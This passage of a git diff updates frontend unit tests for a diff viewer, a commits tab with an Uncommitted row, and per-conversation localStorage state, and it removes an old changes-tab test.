    + ), +})); + +const makeCommit = (overrides: Partial = {}): GitCommit => ({ + sha: "a".repeat(40), + shortSha: "aaaaaaa", + subject: "add logging", + author: "Agent", + timestamp: "2026-07-10T12:00:00+07:00", + ...overrides, +}); + +describe("CommitList", () => { + it("renders an Uncommitted accordion row above the commit rows", () => { + // Arrange / Act + render( + , + ); + + // Assert + expect(screen.getByTestId("uncommitted-changes-row")).toBeInTheDocument(); + expect(screen.getByText("DIFF_VIEWER$UNCOMMITTED")).toBeInTheDocument(); + expect(screen.getByTestId("uncommitted-changes-count")).toHaveTextContent( + "1 file", + ); + const rows = screen.getAllByTestId(/^(uncommitted-changes-row|commit-row)$/); + expect(rows[0]).toHaveAttribute("data-testid", "uncommitted-changes-row"); + }); + + it("pluralizes the Uncommitted file count", () => { + // Arrange / Act + render( + , + ); + + // Assert + expect(screen.getByTestId("uncommitted-changes-count")).toHaveTextContent( + "2 files", + ); + }); + + it("expands Uncommitted into the working-tree file list", async () => { + // Arrange + const user = userEvent.setup(); + render( + , + ); + + // Act + await user.click(screen.getByTestId("uncommitted-changes-row-toggle")); + + // Assert + expect(await screen.findByText("src/a.ts")).toBeInTheDocument(); + }); + + it("collapses Uncommitted when a commit row is expanded", async () => { + // Arrange + const user = userEvent.setup(); + render( + , + ); + const uncommittedToggle = screen.getByTestId( + "uncommitted-changes-row-toggle", + ); + await user.click(uncommittedToggle); + expect(uncommittedToggle).toHaveAttribute("aria-expanded", "true"); + expect(await screen.findByText("src/a.ts")).toBeInTheDocument(); + + // Act + await user.click(screen.getByTestId("commit-row-toggle")); + + // Assert — single-open accordion: Uncommitted collapses when a commit opens. + expect(uncommittedToggle).toHaveAttribute("aria-expanded", "false"); + expect(screen.getByTestId("commit-row-toggle")).toHaveAttribute( + "aria-expanded", + "true", + ); + }); + + it("expands Uncommitted on request and clears the request", () => { + // Arrange + const onAutoExpandHandled = vi.fn(); + + // Act + render( + , + ); + + // Assert + expect( + screen.getByTestId("uncommitted-changes-row-toggle"), + ).toHaveAttribute("aria-expanded", "true"); + expect(screen.getByText("src/a.ts")).toBeInTheDocument(); + expect(onAutoExpandHandled).toHaveBeenCalled(); + }); + + it("still renders Uncommitted when there are no working-tree changes", () => { + // Arrange / Act + render( + , + ); + + // Assert + expect(screen.getByTestId("uncommitted-changes-row")).toBeInTheDocument(); + }); +}); diff --git a/__tests__/components/features/diff-viewer/diff-change-list.test.tsx b/__tests__/components/features/diff-viewer/diff-change-list.test.tsx new file mode 100644 index 000000000000..512cb0efe8bd --- /dev/null +++ b/__tests__/components/features/diff-viewer/diff-change-list.test.tsx @@ -0,0 +1,84 @@ +import { render, screen } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { DiffChangeList } from "#/components/features/diff-viewer/diff-change-list"; + +vi.mock("framer-motion", async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + // Skip exit animations so open/close assertions are synchronous. + useReducedMotion: () => true, + }; +}); + +vi.mock("#/hooks/query/use-unified-git-diff", () => ({ + useUnifiedGitDiff: () => ({ + data: { original: "a", modified: "b" }, + isLoading: false, + isSuccess: true, + isRefetching: false, + }), +})); + +vi.mock("@monaco-editor/react", () => ({ + DiffEditor: () =>
    , + Editor: () =>
    , +})); + +describe("DiffChangeList", () => { + beforeEach(() => { + vi.clearAllMocks(); + }); + + it("keeps only one file expanded at a time", async () => { + const user = userEvent.setup(); + render( + , + ); + + const [firstToggle, secondToggle] = screen.getAllByTestId("collapse"); + + await user.click(firstToggle); + expect( + screen.getAllByTestId("file-diff-viewer-outer")[0].querySelector( + '[data-testid="file-diff-viewer"]', + ), + ).toBeTruthy(); + expect( + screen.getAllByTestId("file-diff-viewer-outer")[1].querySelector( + '[data-testid="file-diff-viewer"]', + ), + ).toBeNull(); + + await user.click(secondToggle); + expect( + screen.getAllByTestId("file-diff-viewer-outer")[0].querySelector( + '[data-testid="file-diff-viewer"]', + ), + ).toBeNull(); + expect( + screen.getAllByTestId("file-diff-viewer-outer")[1].querySelector( + '[data-testid="file-diff-viewer"]', + ), + ).toBeTruthy(); + }); + + it("collapses the open file when its header is clicked again", async () => { + const user = userEvent.setup(); + render( + , + ); + + await user.click(screen.getByTestId("collapse")); + expect(screen.getByTestId("file-diff-viewer")).toBeInTheDocument(); + + await user.click(screen.getByTestId("collapse")); + expect(screen.queryByTestId("file-diff-viewer")).not.toBeInTheDocument(); + }); +}); diff --git a/__tests__/components/features/diff-viewer/file-diff-viewer.test.tsx b/__tests__/components/features/diff-viewer/file-diff-viewer.test.tsx index 8f3a49622f9b..7bdb37e28e5d 100644 --- a/__tests__/components/features/diff-viewer/file-diff-viewer.test.tsx +++ b/__tests__/components/features/diff-viewer/file-diff-viewer.test.tsx @@ -1,7 +1,10 @@ import { render, screen } from "@testing-library/react"; import userEvent from "@testing-library/user-event"; import { describe, it, expect, vi, beforeEach } from "vitest"; -import { FileDiffViewer } from "#/components/features/diff-viewer/file-diff-viewer"; +import { + FileDiffViewer, + MAX_DIFF_EDITOR_HEIGHT_PX, +} from "#/components/features/diff-viewer/file-diff-viewer"; const MOCK_DIFF = { original: "old content", modified: "new content" }; const MOCK_MD_DIFF = { @@ -48,20 +51,29 @@ describe("FileDiffViewer", () => { mockIsLoading = false; }); - it("starts collapsed with no view mode buttons", () => { + it("caps opened editor panes at 600px", () => { + expect(MAX_DIFF_EDITOR_HEIGHT_PX).toBe(600); + }); + + it("keeps view mode controls reserved but inert while collapsed", () => { render(); - expect(screen.queryByTestId("view-mode-old")).not.toBeInTheDocument(); - expect(screen.queryByTestId("view-mode-diff")).not.toBeInTheDocument(); - expect(screen.queryByTestId("view-mode-new")).not.toBeInTheDocument(); + const viewModeGroup = screen.getByTestId("view-mode-diff").parentElement; + expect(viewModeGroup).toHaveClass("invisible"); + expect(screen.getByTestId("view-mode-old")).toHaveAttribute( + "tabIndex", + "-1", + ); }); - it("shows view mode buttons when expanded", async () => { + it("reveals view mode buttons when expanded", async () => { const user = userEvent.setup(); render(); await expand(user); + const viewModeGroup = screen.getByTestId("view-mode-diff").parentElement; + expect(viewModeGroup).not.toHaveClass("invisible"); expect(screen.getByTestId("view-mode-old")).toBeInTheDocument(); expect(screen.getByTestId("view-mode-diff")).toBeInTheDocument(); expect(screen.getByTestId("view-mode-new")).toBeInTheDocument(); diff --git a/__tests__/conversation-local-storage.test.ts b/__tests__/conversation-local-storage.test.ts index 07571b36e904..b2b6dc430852 100644 --- a/__tests__/conversation-local-storage.test.ts +++ b/__tests__/conversation-local-storage.test.ts @@ -50,51 +50,37 @@ describe("conversation localStorage utilities", () => { expect(state.selectedTab).toBe("terminal"); }); - it("silently drops the legacy rightPanelShown field from older persisted blobs", () => { - // Older builds persisted the right-drawer state alongside the - // selected tab. The schema no longer carries that field — verify - // the read path strips it instead of leaking the unknown property - // onto consumers (and that legacy `false` values don't somehow - // pin the panel closed forever). - const conversationId = "conv-legacy-right-panel"; - const key = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`; - localStorage.setItem( - key, - JSON.stringify({ - selectedTab: "terminal", - rightPanelShown: false, - unpinnedTabs: ["browser"], - }), - ); + it("round-trips rightPanelShown through localStorage", () => { + const conversationId = "conv-right-panel"; + setConversationState(conversationId, { + selectedTab: "terminal", + rightPanelShown: true, + unpinnedTabs: ["browser"], + }); const state = getConversationState(conversationId); expect(state.selectedTab).toBe("terminal"); expect(state.unpinnedTabs).toEqual(["browser"]); - expect(state).not.toHaveProperty("rightPanelShown"); + expect(state.rightPanelShown).toBe(true); }); - it("also drops legacy rightPanelShown: true (not just the falsy variant)", () => { - // Older builds could persist either boolean. The previous test - // covered `false`; this one covers `true` so an upgrading user - // with the drawer open can't have it leak through into the new - // schema either. - const conversationId = "conv-legacy-right-panel-true"; + it("defaults rightPanelShown to false and drops corrupt values", () => { + expect(getConversationState("conv-right-panel-default").rightPanelShown).toBe( + false, + ); + + const conversationId = "conv-right-panel-corrupt"; const key = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`; localStorage.setItem( key, JSON.stringify({ selectedTab: "terminal", - rightPanelShown: true, - unpinnedTabs: ["browser"], + rightPanelShown: "yes", }), ); - const state = getConversationState(conversationId); - - expect(state.selectedTab).toBe("terminal"); - expect(state.unpinnedTabs).toEqual(["browser"]); - expect(state).not.toHaveProperty("rightPanelShown"); + expect(getConversationState(conversationId).rightPanelShown).toBe(false); }); it("returns default state when key is missing or invalid", () => { @@ -160,6 +146,30 @@ describe("conversation localStorage utilities", () => { expect(state.subConversationTaskId).toBeNull(); expect(state.selectedTab).toBe("files"); expect(state.unpinnedTabs).toEqual([]); + expect(state.unpinnedOverviewSections).toEqual([]); + expect(state.unpinnedOverviewGitParts).toEqual([]); + }); + + it("persists and sanitizes unpinnedOverviewSections", () => { + const conversationId = "conv-overview-pins"; + setConversationState(conversationId, { + unpinnedOverviewSections: ["skills", "not-a-section", "mcp", "workspace"], + }); + + const state = getConversationState(conversationId); + // Legacy section ids (mcp/skills/secrets/…) are dropped by the allowlist. + expect(state.unpinnedOverviewSections).toEqual(["workspace"]); + }); + + it("persists and sanitizes unpinnedOverviewGitParts", () => { + const conversationId = "conv-overview-git-pins"; + setConversationState(conversationId, { + unpinnedOverviewGitParts: ["branch", "not-a-part", "issues"], + }); + + const state = getConversationState(conversationId); + // Legacy git part ids (issues) are dropped by the allowlist. + expect(state.unpinnedOverviewGitParts).toEqual(["branch"]); }); it("retrieves subConversationTaskId from localStorage when it exists", () => { @@ -217,14 +227,29 @@ describe("conversation localStorage utilities", () => { expect(state.selectedTab).toBe("files"); }); - it("filters obsolete tabs out of stored unpinnedTabs (changes / editor / served / app)", () => { - // Returning users may have unpinned the now-removed Changes, - // Editor, Served, or App tabs in a previous version. Those names + it("migrates a stored Diffs (changes) tab selection to Commits", () => { + const conversationId = "conv-123"; + const consolidatedKey = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`; + + localStorage.setItem( + consolidatedKey, + JSON.stringify({ + selectedTab: "changes", + unpinnedTabs: [], + }), + ); + + const state = getConversationState(conversationId); + + expect(state.selectedTab).toBe("commits"); + }); + + it("filters obsolete tabs out of stored unpinnedTabs (editor / served / app / changes)", () => { + // Returning users may have unpinned the now-removed Editor, Served, + // App, or Diffs (`changes`) tabs in a previous version. Those names // should not survive the read — otherwise they linger forever in // localStorage since the UI has no way to surface them again to be - // re-pinned. We cover ALL four removed names here (the previous - // version of this test missed `app` and the gap let a denylist-vs- - // whitelist regression slip through review). + // re-pinned. const conversationId = "conv-123"; const consolidatedKey = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`; @@ -238,8 +263,7 @@ describe("conversation localStorage utilities", () => { const state = getConversationState(conversationId); - // Only the still-valid `terminal` entry survives; all four - // obsolete names are dropped. + // Obsolete names are dropped; still-valid `terminal` stays. expect(state.unpinnedTabs).toEqual(["terminal"]); }); }); @@ -537,53 +561,19 @@ describe("conversation localStorage utilities", () => { }); }); - describe("filesTabDiffView persistence", () => { - // The diff-view toggle is per-conversation: in a git repo it - // defaults to ON, in a plain workspace it defaults to OFF, but the - // user's last explicit choice should win. Verify the boolean - // round-trips through localStorage and that the unset case stays - // `null` (so the higher layer can apply the repo-aware default). - - it("defaults to null when nothing is stored", () => { - const state = getConversationState("files-diff-conv-1"); - expect(state.filesTabDiffView).toBeNull(); - }); - - it("round-trips `true` through localStorage", () => { - const conversationId = "files-diff-conv-2"; - setConversationState(conversationId, { filesTabDiffView: true }); - - const state = getConversationState(conversationId); - expect(state.filesTabDiffView).toBe(true); - - // Also verify the on-disk shape — important because the consumer - // code reads it back via `JSON.parse`, so a wrong-type value would - // be a silent regression. - const raw = localStorage.getItem( + describe("filesTabDiffView preference", () => { + it("preserves filesTabDiffView from stored blobs on read", () => { + const conversationId = "files-diff-legacy"; + localStorage.setItem( `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`, + JSON.stringify({ + selectedTab: "files", + filesTabDiffView: true, + }), ); - expect(raw).not.toBeNull(); - expect(JSON.parse(raw as string).filesTabDiffView).toBe(true); - }); - - it("round-trips `false` through localStorage", () => { - const conversationId = "files-diff-conv-3"; - setConversationState(conversationId, { filesTabDiffView: false }); const state = getConversationState(conversationId); - expect(state.filesTabDiffView).toBe(false); - }); - - it("is isolated per conversation", () => { - setConversationState("files-diff-convA", { filesTabDiffView: true }); - setConversationState("files-diff-convB", { filesTabDiffView: false }); - - expect(getConversationState("files-diff-convA").filesTabDiffView).toBe( - true, - ); - expect(getConversationState("files-diff-convB").filesTabDiffView).toBe( - false, - ); + expect(state.filesTabDiffView).toBe(true); }); }); @@ -658,4 +648,45 @@ describe("conversation localStorage utilities", () => { expect(state.filesTabContentViewMode).toBe("rich"); }); }); + + describe("files tab open-state / tree persistence", () => { + it("defaults to an expanded tree and no open files", () => { + const state = getConversationState("files-open-defaults"); + expect(state.filesTabTreeVisible).toBe(true); + expect(state.filesTabOpenPaths).toEqual([]); + expect(state.filesTabSelectedPath).toBeNull(); + }); + + it("round-trips tree visibility and open tabs", () => { + const conversationId = "files-open-roundtrip"; + setConversationState(conversationId, { + filesTabTreeVisible: false, + filesTabOpenPaths: ["README.md", "src/main.ts"], + filesTabSelectedPath: "src/main.ts", + }); + + const state = getConversationState(conversationId); + expect(state.filesTabTreeVisible).toBe(false); + expect(state.filesTabOpenPaths).toEqual(["README.md", "src/main.ts"]); + expect(state.filesTabSelectedPath).toBe("src/main.ts"); + }); + + it("sanitizes corrupt open-state fields", () => { + const conversationId = "files-open-corrupt"; + const key = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`; + localStorage.setItem( + key, + JSON.stringify({ + filesTabTreeVisible: "yes", + filesTabOpenPaths: ["ok.ts", 12, "", null], + filesTabSelectedPath: { path: "nope" }, + }), + ); + + const state = getConversationState(conversationId); + expect(state.filesTabTreeVisible).toBe(true); + expect(state.filesTabOpenPaths).toEqual(["ok.ts"]); + expect(state.filesTabSelectedPath).toBeNull(); + }); + }); }); diff --git a/__tests__/hooks/use-select-conversation-tab.test.ts b/__tests__/hooks/use-select-conversation-tab.test.ts index 2fa1bbcead0b..0d6170113395 100644 --- a/__tests__/hooks/use-select-conversation-tab.test.ts +++ b/__tests__/hooks/use-select-conversation-tab.test.ts @@ -37,17 +37,16 @@ describe("useSelectConversationTab", () => { result.current.selectTab("files"); }); - // Assert: Panel should be open and tab selected (in-memory only). + // Assert: Panel should be open and tab selected. expect(useConversationStore.getState().selectedTab).toBe("files"); expect(useConversationStore.getState().hasRightPanelToggled).toBe(true); + expect(useConversationStore.getState().isRightPanelShown).toBe(true); - // Tab selection is persisted; the right-drawer open state is - // intentionally session-only and must NOT touch localStorage. const storedState = JSON.parse( localStorage.getItem(`conversation-state-${TEST_CONVERSATION_ID}`)!, ); expect(storedState.selectedTab).toBe("files"); - expect(storedState).not.toHaveProperty("rightPanelShown"); + expect(storedState.rightPanelShown).toBe(true); }); it("should close panel when clicking the same active tab", () => { @@ -65,19 +64,14 @@ describe("useSelectConversationTab", () => { result.current.selectTab("files"); }); - // Assert: Panel should be closed (in-memory only). + // Assert: Panel should be closed and persisted. expect(useConversationStore.getState().hasRightPanelToggled).toBe(false); + expect(useConversationStore.getState().isRightPanelShown).toBe(false); - // The drawer-close shouldn't have written to localStorage at all - // (session-only behavior). If anything is persisted, it's just the - // pre-existing tab selection from earlier writes — never a - // `rightPanelShown` field. - const raw = localStorage.getItem( - `conversation-state-${TEST_CONVERSATION_ID}`, + const storedState = JSON.parse( + localStorage.getItem(`conversation-state-${TEST_CONVERSATION_ID}`)!, ); - if (raw !== null) { - expect(JSON.parse(raw)).not.toHaveProperty("rightPanelShown"); - } + expect(storedState.rightPanelShown).toBe(false); }); it("should switch to different tab when panel is already open", () => { @@ -153,6 +147,77 @@ describe("useSelectConversationTab", () => { }); }); + describe("navigateToTab", () => { + it("always opens the panel even when isRightPanelShown is stale true", () => { + useConversationStore.setState({ + selectedTab: "terminal", + isRightPanelShown: true, + hasRightPanelToggled: false, + isOverviewPanelShown: true, + }); + + const { result } = renderHook(() => useSelectConversationTab()); + + act(() => { + result.current.navigateToTab("files"); + }); + + expect(useConversationStore.getState().selectedTab).toBe("files"); + expect(useConversationStore.getState().hasRightPanelToggled).toBe(true); + expect(useConversationStore.getState().isOverviewPanelShown).toBe(false); + }); + }); + + describe("navigateToChanges", () => { + it("opens the commits tab with Uncommitted requested", () => { + useConversationStore.setState({ + selectedTab: "terminal", + isRightPanelShown: false, + hasRightPanelToggled: false, + isOverviewPanelShown: true, + commitsAutoExpandSection: null, + }); + + const { result } = renderHook(() => useSelectConversationTab()); + + act(() => { + result.current.navigateToChanges(); + }); + + expect(useConversationStore.getState().selectedTab).toBe("commits"); + expect(useConversationStore.getState().commitsAutoExpandSection).toBe( + "uncommitted", + ); + expect(useConversationStore.getState().hasRightPanelToggled).toBe(true); + expect(useConversationStore.getState().isOverviewPanelShown).toBe(false); + }); + }); + + describe("navigateToCommits", () => { + it("opens the commits tab without requesting Uncommitted", () => { + useConversationStore.setState({ + selectedTab: "terminal", + isRightPanelShown: false, + hasRightPanelToggled: false, + isOverviewPanelShown: true, + commitsAutoExpandSection: "uncommitted", + }); + + const { result } = renderHook(() => useSelectConversationTab()); + + act(() => { + result.current.navigateToCommits(); + }); + + expect(useConversationStore.getState().selectedTab).toBe("commits"); + expect( + useConversationStore.getState().commitsAutoExpandSection, + ).toBeNull(); + expect(useConversationStore.getState().hasRightPanelToggled).toBe(true); + expect(useConversationStore.getState().isOverviewPanelShown).toBe(false); + }); + }); + describe("onTabChange", () => { it("should update both Zustand store and localStorage when changing tab", () => { // Arrange diff --git a/__tests__/routes/changes-tab.test.tsx b/__tests__/routes/changes-tab.test.tsx deleted file mode 100644 index 1891ab761eb5..000000000000 --- a/__tests__/routes/changes-tab.test.tsx +++ /dev/null @@ -1,132 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { describe, expect, it, vi } from "vitest"; -import { MemoryRouter } from "react-router"; -import { AxiosError } from "axios"; -import GitChanges from "#/routes/changes-tab"; -import { useUnifiedGetGitChanges } from "#/hooks/query/use-unified-get-git-changes"; -import { useAgentState } from "#/hooks/use-agent-state"; -import { AgentState } from "#/types/agent-state"; - -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ - t: (key: string) => key, - }), -})); - -vi.mock("#/hooks/query/use-unified-get-git-changes"); -vi.mock("#/hooks/use-agent-state"); -vi.mock("#/hooks/use-conversation-id", () => ({ - useConversationId: () => ({ conversationId: "test-id" }), - useOptionalConversationId: () => ({ conversationId: "test-id" }), -})); - -const wrapper = ({ children }: { children: React.ReactNode }) => ( - - - {children} - - -); - -describe("Changes Tab", () => { - it("should show EmptyChangesMessage when there are no changes", () => { - vi.mocked(useUnifiedGetGitChanges).mockReturnValue({ - data: [], - isLoading: false, - isFetching: false, - isSuccess: true, - isError: false, - error: null, - refetch: vi.fn(), - }); - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.RUNNING, - }); - - render(, { wrapper }); - - expect(screen.getByText("DIFF_VIEWER$NO_CHANGES")).toBeInTheDocument(); - }); - - it("should not show EmptyChangesMessage when there are changes", () => { - vi.mocked(useUnifiedGetGitChanges).mockReturnValue({ - data: [{ path: "src/file.ts", status: "M" }], - isLoading: false, - isFetching: false, - isSuccess: true, - isError: false, - error: null, - refetch: vi.fn(), - }); - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.RUNNING, - }); - - render(, { wrapper }); - - expect( - screen.queryByText("DIFF_VIEWER$NO_CHANGES"), - ).not.toBeInTheDocument(); - }); - - it("should render the Protip alongside the empty state when there are no changes", () => { - vi.mocked(useUnifiedGetGitChanges).mockReturnValue({ - data: [], - isLoading: false, - isFetching: false, - isSuccess: true, - isError: false, - error: null, - refetch: vi.fn(), - }); - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.RUNNING, - }); - - render(, { wrapper }); - - expect(screen.getByText("TIPS$PROTIP")).toBeInTheDocument(); - }); - - it("should hide the Protip when the git changes request errors", () => { - vi.mocked(useUnifiedGetGitChanges).mockReturnValue({ - data: [], - isLoading: false, - isFetching: false, - isSuccess: false, - isError: true, - error: new AxiosError("fatal: not a git repository"), - refetch: vi.fn(), - }); - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.RUNNING, - }); - - render(, { wrapper }); - - expect(screen.queryByText("TIPS$PROTIP")).not.toBeInTheDocument(); - expect( - screen.getByText("DIFF_VIEWER$NOT_A_GIT_REPO"), - ).toBeInTheDocument(); - }); - - it("should show the loading message while git changes are loading", () => { - vi.mocked(useUnifiedGetGitChanges).mockReturnValue({ - data: [], - isLoading: true, - isFetching: true, - isSuccess: false, - isError: false, - error: null, - refetch: vi.fn(), - }); - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.RUNNING, - }); - - render(, { wrapper }); - - expect(screen.getByText("DIFF_VIEWER$LOADING")).toBeInTheDocument(); - }); -}); diff --git a/__tests__/routes/commits-tab.test.tsx b/__tests__/routes/commits-tab.test.tsx index 37872f092f01..683d82197035 100644 --- a/__tests__/routes/commits-tab.test.tsx +++ b/__tests__/routes/commits-tab.test.tsx @@ -55,10 +55,13 @@ describe("Commits Tab", () => { AgentServerGitService, "getCommitChanges", ); + const getGitChangesSpy = vi.spyOn(AgentServerGitService, "getGitChanges"); beforeEach(() => { getGitCommitsSpy.mockReset(); getCommitChangesSpy.mockReset(); + getGitChangesSpy.mockReset(); + getGitChangesSpy.mockResolvedValue([]); vi.mocked(useAgentState).mockReturnValue({ curAgentState: AgentState.RUNNING, }); @@ -112,6 +115,22 @@ describe("Commits Tab", () => { expect(await screen.findByText("add logging")).toBeInTheDocument(); expect(screen.getByText("fix tests")).toBeInTheDocument(); expect(screen.getByText("aaaaaaa")).toBeInTheDocument(); + expect(screen.getByTestId("uncommitted-changes-row")).toBeInTheDocument(); + }); + + it("shows Uncommitted alone when there are working-tree changes but no commits", async () => { + // Arrange + getGitCommitsSpy.mockResolvedValue({ commits: [], hasMore: false }); + getGitChangesSpy.mockResolvedValue([{ path: "src/a.ts", status: "M" }]); + + // Act + render(, { wrapper }); + + // Assert + expect( + await screen.findByTestId("uncommitted-changes-row"), + ).toBeInTheDocument(); + expect(screen.queryByTestId("commit-row")).not.toBeInTheDocument(); }); it("expanding a commit fetches and lists the files it changed", async () => { diff --git a/__tests__/routes/files-tab.test.tsx b/__tests__/routes/files-tab.test.tsx index 0cbaed3638d7..27afdf3f24ed 100644 --- a/__tests__/routes/files-tab.test.tsx +++ b/__tests__/routes/files-tab.test.tsx @@ -1,5 +1,4 @@ -/* eslint-disable react/jsx-props-no-spreading */ -import { render, screen, waitFor, within } from "@testing-library/react"; +import { render, screen, waitFor } from "@testing-library/react"; import userEvent from "@testing-library/user-event"; import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; import { describe, it, expect, vi, beforeEach } from "vitest"; @@ -8,28 +7,15 @@ import { MemoryRouter } from "react-router"; import FilesTab from "#/routes/files-tab"; import { useFilesTabStore } from "#/stores/files-tab-store"; import { NavigationProvider } from "#/context/navigation-context"; +import { + LOCAL_STORAGE_KEYS, + setConversationState, +} from "#/utils/conversation-local-storage"; // Mocks must be declared before the SUT is imported. -const useHasAttachedSourceMock = vi.fn(); -const useHasGitCommitsMock = vi.fn(); -const useUnifiedGitCommitsMock = vi.fn(); const useWorkspaceFilesMock = vi.fn(); const useWorkspaceFileContentMock = vi.fn(); const useActiveConversationMock = vi.fn(); -const refetchGitChangesMock = vi.fn(); - -vi.mock("#/hooks/use-has-attached-source", () => ({ - useHasAttachedSource: () => useHasAttachedSourceMock(), -})); - -vi.mock("#/hooks/query/use-has-git-commits", () => ({ - useHasGitCommits: (opts?: { enabled?: boolean }) => - useHasGitCommitsMock(opts), -})); - -vi.mock("#/hooks/query/use-unified-git-commits", () => ({ - useUnifiedGitCommits: () => useUnifiedGitCommitsMock(), -})); vi.mock("#/hooks/query/use-workspace-files", () => ({ useWorkspaceFiles: () => useWorkspaceFilesMock(), @@ -44,21 +30,6 @@ vi.mock("#/hooks/query/use-active-conversation", () => ({ useActiveConversation: () => useActiveConversationMock(), })); -vi.mock("#/hooks/query/use-unified-get-git-changes", () => ({ - useUnifiedGetGitChanges: () => ({ - refetch: refetchGitChangesMock, - isFetching: false, - }), -})); - -vi.mock("#/routes/changes-tab", () => ({ - default: () =>
    Diff View
    , -})); - -vi.mock("#/routes/commits-tab", () => ({ - default: () =>
    Commits View
    , -})); - function renderTab(conversationId: string | null = null) { const client = new QueryClient({ defaultOptions: { queries: { retry: false } }, @@ -81,43 +52,22 @@ function renderTab(conversationId: string | null = null) { ); } +function openFile(path: string, conversationId: string | null = null) { + useFilesTabStore.getState().setSelectedPath(path, conversationId); +} + describe("FilesTab", () => { beforeEach(() => { - // `selectedPath` lives in a global Zustand store (useFilesTabStore) and - // the auto-select effect re-fires when the store is reset between tests, - // which can race with the Zustand mock's afterEach reset and leave the - // store polluted with the previous test's path. Resetting here, after - // the previous test's cleanup() has unmounted any FilesTab, defeats - // that race so each test starts with a clean selection. useFilesTabStore.setState({ selectedPath: null, selectedConversationId: null, + openPaths: [], }); + localStorage.clear(); - useHasAttachedSourceMock.mockReset(); - useHasGitCommitsMock.mockReset(); - useUnifiedGitCommitsMock.mockReset(); useWorkspaceFilesMock.mockReset(); useWorkspaceFileContentMock.mockReset(); useActiveConversationMock.mockReset(); - refetchGitChangesMock.mockReset(); - // Default: pretend the probe has already resolved with at least one - // commit. Individual tests can override this for "empty repo" cases. - useHasGitCommitsMock.mockReturnValue({ - hasCommits: true, - isLoading: false, - }); - // Default: the agent server supports the commits API (the third toggle - // segment is offered) but the conversation has no commits yet. - useUnifiedGitCommitsMock.mockReturnValue({ - commits: [], - hasMore: false, - isUnsupported: false, - isLoading: false, - isFetching: false, - isSuccess: true, - isError: false, - }); useWorkspaceFilesMock.mockReturnValue({ data: ["index.html", "src/main.ts", "README.md"], @@ -142,93 +92,29 @@ describe("FilesTab", () => { }); }); - it("defaults to diff view when the user attached a source (repo or workspace)", () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: true, - isLoading: false, - }); - + it("renders the file browser without a Diff/Commits toggle", () => { renderTab(); - expect(screen.getByTestId("changes-tab-content")).toBeInTheDocument(); - // The Rich/Plain toggle is hidden when diff view is active. + expect(screen.getByTestId("files-tab")).toBeInTheDocument(); expect( screen.queryByTestId("files-tab-content-mode-toggle"), ).not.toBeInTheDocument(); - }); - - it("defaults to files+rich view when the attached source has no commits (non-git workspace or unborn HEAD)", () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: true, - isLoading: false, - }); - useHasGitCommitsMock.mockReturnValue({ - hasCommits: false, - isLoading: false, - }); - - renderTab(); - - // Even though something is attached, the diff view is suppressed when - // there's nothing to diff against. - expect(screen.queryByTestId("changes-tab-content")).not.toBeInTheDocument(); expect( - screen.getByTestId("files-tab-content-mode-toggle"), - ).toBeInTheDocument(); - }); - - it("does NOT probe for commits when no source is attached", () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: false, - isLoading: false, - }); - - renderTab(); - - // The hook is still called (so the diff toggle has a value), but it - // must be called with enabled: false so we don't shell out to the - // workspace pointlessly. - expect(useHasGitCommitsMock).toHaveBeenCalledWith({ enabled: false }); - }); - - it("optimistically defaults to diff view while the attachment / has-commits probes are still loading", () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: true, - isLoading: false, - }); - useHasGitCommitsMock.mockReturnValue({ - hasCommits: null, - isLoading: true, - }); - - renderTab(); - - // The common case is a repo with commits, so to avoid a files→diff - // flash on initial mount we lean diff-view while loading. - expect(screen.getByTestId("changes-tab-content")).toBeInTheDocument(); + screen.queryByTestId("files-tab-diff-toggle"), + ).not.toBeInTheDocument(); }); - it("defaults to plain file viewer when no source is attached", () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: false, - isLoading: false, - }); - + it("does not open file tabs until a file is selected", () => { renderTab(); - expect(screen.queryByTestId("changes-tab-content")).not.toBeInTheDocument(); - // Tree is collapsed by default — user expands via the caret. - expect(screen.queryByTestId("files-tab-tree")).not.toBeInTheDocument(); + expect(useWorkspaceFileContentMock).toHaveBeenCalledWith(null); + expect(screen.queryByRole("tab")).not.toBeInTheDocument(); expect( - screen.getByTestId("files-tab-content-mode-toggle"), + screen.getByTestId("file-quick-row-tree-toggle"), ).toBeInTheDocument(); }); - it("shows the active conversation workspace path in files view", () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: false, - isLoading: false, - }); + it("shows the active conversation workspace path", () => { useActiveConversationMock.mockReturnValue({ data: { workspace: { working_dir: "/workspace/project/worktree-123" }, @@ -242,48 +128,44 @@ describe("FilesTab", () => { ).toHaveTextContent("/workspace/project/worktree-123"); }); - it("lets users toggle diff view off even when a source is attached", async () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: true, - isLoading: false, - }); + it("opens a tab when a file is selected and closes it from the tab strip", async () => { const user = userEvent.setup(); - + openFile("src/main.ts"); renderTab(); - expect(screen.getByTestId("changes-tab-content")).toBeInTheDocument(); + expect( + screen.getByTestId("file-quick-row-item-src/main.ts"), + ).toBeInTheDocument(); + expect(screen.getByRole("tab", { selected: true })).toHaveTextContent( + "main.ts", + ); - // Click the "Files" segment of the diff-view toggle. - await user.click(screen.getByTestId("files-tab-diff-toggle-option-off")); + await user.click(screen.getByTestId("file-quick-row-close-src/main.ts")); - await waitFor(() 